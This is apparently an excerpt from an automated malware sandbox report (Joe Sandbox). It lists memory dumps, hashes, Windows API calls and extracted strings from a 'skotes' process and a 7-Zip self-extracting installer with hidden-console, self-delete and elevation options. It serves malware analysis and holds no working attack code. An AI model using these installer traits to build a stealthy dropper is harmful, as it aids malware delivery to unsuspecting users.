Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 6ec741c77636b0c7e2fc0daf93e57df2920d1ec4e78f705c36ff159a27ecc86e
Instruction ID: 4c99820ca805b6e492be5c50c7e87261495da1439d13bc6bc3c678281e64705f
Opcode Fuzzy Hash: 6ec741c77636b0c7e2fc0daf93e57df2920d1ec4e78f705c36ff159a27ecc86e
Instruction Fuzzy Hash: BCE09B39B401046BCB14B768E859C9DFBF99E847147044196E511A7351EB709905C5D0

Function 00BA34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA34FC

Strings

pScheduler, xrefs: 00BA34F4
version, xrefs: 00BA34E1

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 2216a9404d7876db49800ded1f27a9b73cf89b82756218e64d9a393c16851154
Instruction ID: 87f3175a79645218d47b3343429afae225b23ae43fc44a1ed3e2bc8e333f1133
Opcode Fuzzy Hash: 2216a9404d7876db49800ded1f27a9b73cf89b82756218e64d9a393c16851154
Instruction Fuzzy Hash: F3E08634544208B7CF25FA54D847ADCBBE4DB15F49F14C1E2B811212A1AFF5978CDA81

Analysis Process: 4802836d37.exePID: 5056, Parent PID: 6044COMMON

Executed Functions

Function 00405BFC Relevance: 276.8, APIs: 102, Strings: 55, Instructions: 2009stringkeyboardwindowCOMMON

Download Yara Rule

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405C0F

Part of subcall function 00402017: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
Part of subcall function 00402017: CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
Part of subcall function 00402017: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
Part of subcall function 00402017: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
Part of subcall function 00402017: DispatchMessageW.USER32(?), ref: 00402069
Part of subcall function 00402017: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
Part of subcall function 00402017: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

GetVersionExW.KERNEL32(?,?,00000000), ref: 00405C2C
GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405CBB

Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

lstrlenW.KERNEL32(?,00000000,00000000), ref: 00405CE6

Part of subcall function 00404D0B: #17.COMCTL32(00000000,?,?), ref: 00404D17
Part of subcall function 00404D0B: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
Part of subcall function 00404D0B: wsprintfW.USER32 ref: 00404DB8

wsprintfW.USER32 ref: 00405D45
_wtol.MSVCRT ref: 00405D7F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DCE
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DE2
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,0041EA30), ref: 00405DEA

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

GetModuleFileNameW.KERNEL32(00000000,00000208), ref: 00405E61
_wtol.MSVCRT ref: 00405F89
??2@YAPAXI@Z.MSVCRT(00000010,00000000,0041EA30,0041EA30), ref: 00406118
??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,00000000,0041EA30,0041EA30), ref: 0040619B
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,00000000,0041EA30,0041EA30), ref: 00406211
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 0040622D
??3@YAXPAX@Z.MSVCRT(?,00000000,0041EA30,0041EA30), ref: 0040626B
wsprintfW.USER32 ref: 00406295
_wtol.MSVCRT ref: 004064B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00406587
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004065D4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 004065DC
??3@YAXPAX@Z.MSVCRT(?), ref: 004065FB
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406653
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 0040665B
GetCommandLineW.KERNEL32(?,00000000,?,?), ref: 004066C3
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040673B
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00406743
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040674B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00406753
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040675B
GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406767
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 0040676E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 0040678A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 00406792
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040679A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067A2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004067BE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004067C6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067CE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067D6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?,00000000,?,?), ref: 0040687F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,00000000,?,?), ref: 004068A4
??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,00000000,?,?,?,00000000,?,?), ref: 00406916
CoInitialize.OLE32(00000000), ref: 00406937
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00406991
_wtol.MSVCRT ref: 00406A68
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406A8B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00406AC4
GetKeyState.USER32(00000010), ref: 00406B1B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406C59
??3@YAXPAX@Z.MSVCRT(?), ref: 00406C67
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C92
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C9A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406CB6
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00406CBE
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00406CEE
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D2E
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D97
??3@YAXPAX@Z.MSVCRT(?,?,0041E9E8), ref: 00406D9F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E64
??3@YAXPAX@Z.MSVCRT(00000001,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E6F
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E79
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F33
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F3B
_wtol.MSVCRT ref: 00406FCF
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?), ref: 004071AE
??3@YAXPAX@Z.MSVCRT(00000000,?,?,00000000,?,?,?,?,?,?), ref: 004071B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004071DA
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407223
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040722B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407233
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407239
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407249
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407251
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040726E
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407276
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040727E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407286
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040728E
??3@YAXPAX@Z.MSVCRT(?,?,?,0041E9E8), ref: 004072AF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041E9E8), ref: 004072B7
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004072C3

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?), ref: 004072E4
??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?), ref: 004072EC
??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?), ref: 004072F4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?), ref: 004072FA
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?), ref: 00407302
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?), ref: 0040730A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?), ref: 00407312
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407331
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00407339
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407341
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407347
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00407380
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004073AA
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040746E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407476
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040748D
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004074A1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004074A9
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 004074C2

Strings

RunProgram, xrefs: 00406AE0, 00406BFB, 00406C09
7zSfxVarModulePlatform, xrefs: 00405CF4
forcenowait, xrefs: 00406F8C
Delete, xrefs: 0040738F
BeginPrompt, xrefs: 00406AEB
0A, xrefs: 00406047
" -, xrefs: 004066E4
7zSfxString%d, xrefs: 0040628F
amd64, xrefs: 0040704E
Shortcut, xrefs: 00407367
hidcon, xrefs: 00406F4A
setup.exe, xrefs: 00406E2C, 00406E31, 00406E8C
GUIMode, xrefs: 004063D9
HelpText, xrefs: 004068CA
shc, xrefs: 00406FE4
7zSfxVarCmdLine1, xrefs: 0040661A
sfxlang, xrefs: 00405D63
OverwriteMode, xrefs: 00406395
ExecuteParameters, xrefs: 004070C7
x64, xrefs: 00407061
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 004074BB
bpt, xrefs: 004064C7
SelfDelete, xrefs: 0040645F, 0040743C
A, xrefs: 00406CDE
7ZipSfx.%03x, xrefs: 00406CD1
sfxconfig, xrefs: 00405FEE, 004061C0
sfxversion, xrefs: 00405DB3
SfxAuthor, xrefs: 0040696B
InstallPath, xrefs: 00406941
SetEnvironment, xrefs: 004067FC, 00406804, 0040688B
waitall, xrefs: 00406EA5
BeginPromptTimeout, xrefs: 004064E0, 00406A55
7-Zip SFX, xrefs: 004074B6
GUIFlags, xrefs: 004063FC
0A, xrefs: 0040603D
FinishMessage, xrefs: 004073D6
MiscFlags, xrefs: 0040641F
x86, xrefs: 00405CEF, 00407028
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 004069BD
7zSfxVarCmdLine0, xrefs: 00405D12
0A, xrefs: 00405E4F
pA, xrefs: 00405F55
nowait, xrefs: 00406F68
$A, xrefs: 0040610C
A, xrefs: 00406CFC
sfxelevation, xrefs: 00405E14, 004066DF
7zSfxVarCmdLine2, xrefs: 004062CD, 00406675
sfxwaitall, xrefs: 00405DF8
i386, xrefs: 0040703B
ExecuteFile, xrefs: 00406ADB, 00406BD7, 00406BE5
7zSfxVarSystemPlatform, xrefs: 00405D07
A, xrefs: 00406951
AutoInstall, xrefs: 00406B51, 00406BAC, 00406F13
del, xrefs: 00407004
7zSfxVarSystemLanguage, xrefs: 00405D52

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$Message_wtol$lstrlen$??2@wsprintf$CommandCurrentFileFormatLineModuleProcessTimerlstrcpy$?_set_new_handler@@AttributesCallbackCreateDirectoryDispatchDispatcherErrorFolderFreeHandleInitializeKillLastLocalNamePathSizeSpecialStateUserVersionWindowWorkingwvsprintf
String ID: " -$$A$0A$0A$0A$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$7zSfxVarCmdLine0$7zSfxVarCmdLine1$7zSfxVarCmdLine2$7zSfxVarModulePlatform$7zSfxVarSystemLanguage$7zSfxVarSystemPlatform$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$pA$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$shc$waitall$x64$x86$A$A$A
API String ID: 1301190434-1447873201
Opcode ID: 314e4e2800b355338e119878eae373695adb21911a7861909f2107e886efd5ee
Instruction ID: 37b3d77bb6f8fb102f6eda89de8ddb12e9592f0eac1975534991a7b966549d26
Opcode Fuzzy Hash: 314e4e2800b355338e119878eae373695adb21911a7861909f2107e886efd5ee
Instruction Fuzzy Hash: 69E2E271904208AADF25AF62DC46AEE3768EF04304F54403BFD06B61D2EB7D9991CB5E

Function 00402665 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
GetProcAddress.KERNEL32(00000000), ref: 0040267C
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

Strings

GetNativeSystemInfo, xrefs: 0040266B
kernel32, xrefs: 00402670

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: AddressInfoLibraryLoadNativeProcSystem
String ID: GetNativeSystemInfo$kernel32
API String ID: 2103483237-3846845290
Opcode ID: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction ID: 08739c12cb3b948957cf2c0406c7fd7347f4194bf9f07d28511d247575205d7a
Opcode Fuzzy Hash: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction Fuzzy Hash: AAD05EB0A0520576CB00ABB15D0E9EB7AEC5A48608B144461A806F00C5EAADDD90C36A

Function 0040367D Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 0040368B
SetLastError.KERNEL32(00000010), ref: 004036A0

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction ID: 2afa7e6ed9b3c4e8b0be6899d5053f20146e769dcf51bfeaf0e83b5e475a48be
Opcode Fuzzy Hash: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction Fuzzy Hash: 7001AD30402014BEDB206F759C099EA3B5CAF0132AF204E32F822F23D0D739CB469A5E

Function 0040122A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401246
SendMessageW.USER32(00008001,00000000,?), ref: 0040129F

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction ID: 952f35bfd535ad09d3a1e6728af904cc40037fdc81ed9fa17bdc1f07510a46f8
Opcode Fuzzy Hash: af37885296c4e33022f6aa73873594c733a529e1bca2c9c6b159ebc59711ebec
Instruction Fuzzy Hash: 3F016DB4611208ABEB94DB52DC45F9A77A9AB01714F10807EFD00FA1F0C7B9A9808B1D

Function 00401B0B Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
